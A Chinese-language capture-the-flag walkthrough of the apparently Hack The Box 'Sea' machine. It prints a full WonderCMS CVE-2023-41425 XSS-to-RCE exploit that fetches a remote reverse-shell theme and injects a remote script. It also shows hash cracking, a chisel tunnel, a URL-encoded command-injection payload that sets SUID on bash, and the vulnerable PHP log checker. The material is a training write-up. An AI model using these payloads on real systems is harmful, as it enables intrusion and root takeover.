信息搜集 简单扫下:
1 2 3 4 5 6 start infoscan 10.10 .11 .28 :80 open10.10 .11 .28 :22 open[*] alive ports len is: 2 start vulscan [*] WebTitle http:
进入 80 页面,简单浏览发现页面 :http://sea.htb/contact.php
添加下 host,然后访问,根据源代码中的主要路由: 可以知道这是主题文件,可以尝试访问 README.md
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # WonderCMS bike theme ## Description Includes animations. ## Author: turboblack ## Preview ![Theme preview](/preview.jpg) ## How to use 1. Login to your WonderCMS website.2. Click "Settings" and click "Themes" .3. Find theme in the list and click "install" .4. In the "General" tab, select theme to activate it.
可以知道 CMS 名称:WonderCMS
CVE-2023-41425 XSS + RCE CVE-2023-41425 Public Disclosure
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 # Exploit: WonderCMS XSS to RCE import sysimport requestsimport osimport bs4if (len(sys.argv) <4 ): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252" )else : data = '' ' var url = "' '' +str(sys.argv[1 ])+'' '"; if (url.endsWith("/")) { url = url.slice(0, -1); } var urlWithoutLog = url.split("/").slice(0, -1).join("/"); var urlWithoutLogBase = new URL(urlWithoutLog).pathname; var token = document.querySelectorAll(' [name="token" ]')[0].value; var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "' '' +str(sys.argv[2 ])+'' '"; var port = "' '' +str(sys.argv[3 ])+'' '"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ' '' try : open("xss.js" ,"w" ).write(data) print("[+] xss.js is created" ) print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp " +str(sys.argv[3 ])) print("----------------------------\n" ) XSSlink = str(sys.argv[1 ]).replace("loginURL" ,"index.php?page=loginURL?" )+"\"></form><script+src=\"http://" +str(sys.argv[2 ])+":8000/xss.js\"></script><form+action=\"" XSSlink = XSSlink.strip(" " ) print("send the below link to admin:\n\n----------------------------\n" +XSSlink) print("----------------------------\n" ) print("\nstarting HTTP server to allow the access to xss.js" ) os.system("python3 -m http.server\n" ) except: print(data,"\n" ,"//write this to a file" )
看了下,是通过 xss 来实现的 rce。输入参数运行脚本。
1 python3 wonderCMS.py "http://sea.htb/index.php?page=loginURL" 10.10 .14 .91 7777
然后返回contact.php
将 website
输入它提供的地址:
提交后能接到下载。 然后再访问对应地址:
就能接到 shell 了: 找到配置文件:
1 2 cat /var/www/sea/data/database.js | grep password"password" : "$2y$10$iOrk210RQSAzNCx6Vyq2X .aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q" ,
尝试用 hashcat 爆破。
1 2 hashcat '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' -m 3200 /usr/share/wordlists/rockyou.txt --show $2y$10$iOrk210RQSAzNCx6Vyq2X .aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
home
下两个用户amay
和geo
,尝试登录,amay 下成功登录。f533f0492a74f766f24db5a6e7ee9d2c
内网穿透 + 权限借用 查看开放端口服务发现内网中有一个 8080 端口:
GitHub - jpillora/chisel: A fast TCP/UDP tunnel over HTTP
把这个内网穿透软件传到对应主机下。
1 2 3 python3 -m http.server 80 wget 10.10.14.91/chisel chmod +x ./chisel
然后本地服务端端和远程客户端分别运行服务:
1 2 ./chisel server -port 9292 --reverse ./chisel client -v 10.10.14.91:9292 R:9090:127.0.0.1:8080
然后访问127.0.0.1:9090
,登录账号密码就是amay/mychemicalromance
然后抓包。 这里有个命令拼接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST / HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://127.0.0.1:9090 Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ== Connection: close Referer: http://127.0.0.1:9090/ Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Content-Type: application/x-www-form-urlencoded Content-Length: 124 log_file=%2f%72%6f%6f%74%2f%72%6f%6f%74%2e%74%78%74%3b%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68&analyze_log=
最后这里用的是/root/root.txt;chmod u+s /bin/bash
(或者把u+s
的u
去掉也可以),然后回到 ssh 处 bash -p 就可以执行了: 这里的u+s
的作用就是将用户运行这个文件时,以用户拥有者的身份运行。既然能看日志,那就说明有 root
权限。然后权限借用。 但是这里不知道为什么后面再 ssh 连接时,登录的账户变成了:-bash-
BeyondRoot 拿到 root 后可以看下 Geo 这个用户的 home 下有个 script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import osimport asynciofrom pyppeteer import launchimport requestsasync def XSS (page, url ): login_url = 'http://127.0.0.1/loginURL' headers = {'host' : 'sea.htb' } data = {'password' : 'mychemicalromance' } response = requests.post(login_url, data=data, headers=headers, allow_redirects=False ) cookie = response.headers.get('Set-Cookie' ) cookie = cookie.split(';' ) cookie = cookie[1 ].split('=' )[2 ] cookie = {'name' : 'PHPSESSID' , 'value' : cookie, 'domain' : 'sea.htb' } await page.setCookie(cookie) try : await page.goto(url) content = await page.content() except Exception as e: print (f"[!] Failed at goto. {e} " ) async def main (): browser = await launch(headless=True , args=['--no-sandbox' ]) page = await browser.newPage() directory_path = "/var/www/sea/messages/" while True : files = os.listdir(directory_path) message_files = [file for file in files if file.endswith(".txt" )] urls = [] for file in message_files: try : file_path = os.path.join(directory_path, file) with open (file_path, 'r' ) as f: lines = f.readlines() for line in lines: if line.startswith("Website:" ): website = line.strip().split(": " )[1 ] urls.append(website) except : print (f"[!] Failed to process {file} " ) for url in urls: try : await XSS(page, url) except : print ("[!] Failed at XSS" ) os.system(f"rm -f {directory_path} *" ) await asyncio.sleep(60 ) asyncio.get_event_loop().run_until_complete(main())
用来模拟 XSS。然后再看下内网的这个 php 页面: 是这样来找到位置的:
1 2 ps -aux | grep php root 1111 0.0 0.6 208808 26436 ? Ss 13:28 0:00 /usr/bin/php -S localhost:8080 -t /root/monitoring
主要的 php 代码就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset ($_POST ['analyze_log' ])) { $log_file = $_POST ['log_file' ]; $suspicious_traffic = system ("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'" );if (!empty ($suspicious_traffic )) { echo "<p class='error'>Suspicious traffic patterns detected in $log_file :</p>" ; echo "<pre>$suspicious_traffic </pre>" ; } else { echo "<p>No suspicious traffic patterns detected in $log_file .</p>" ; } } ?>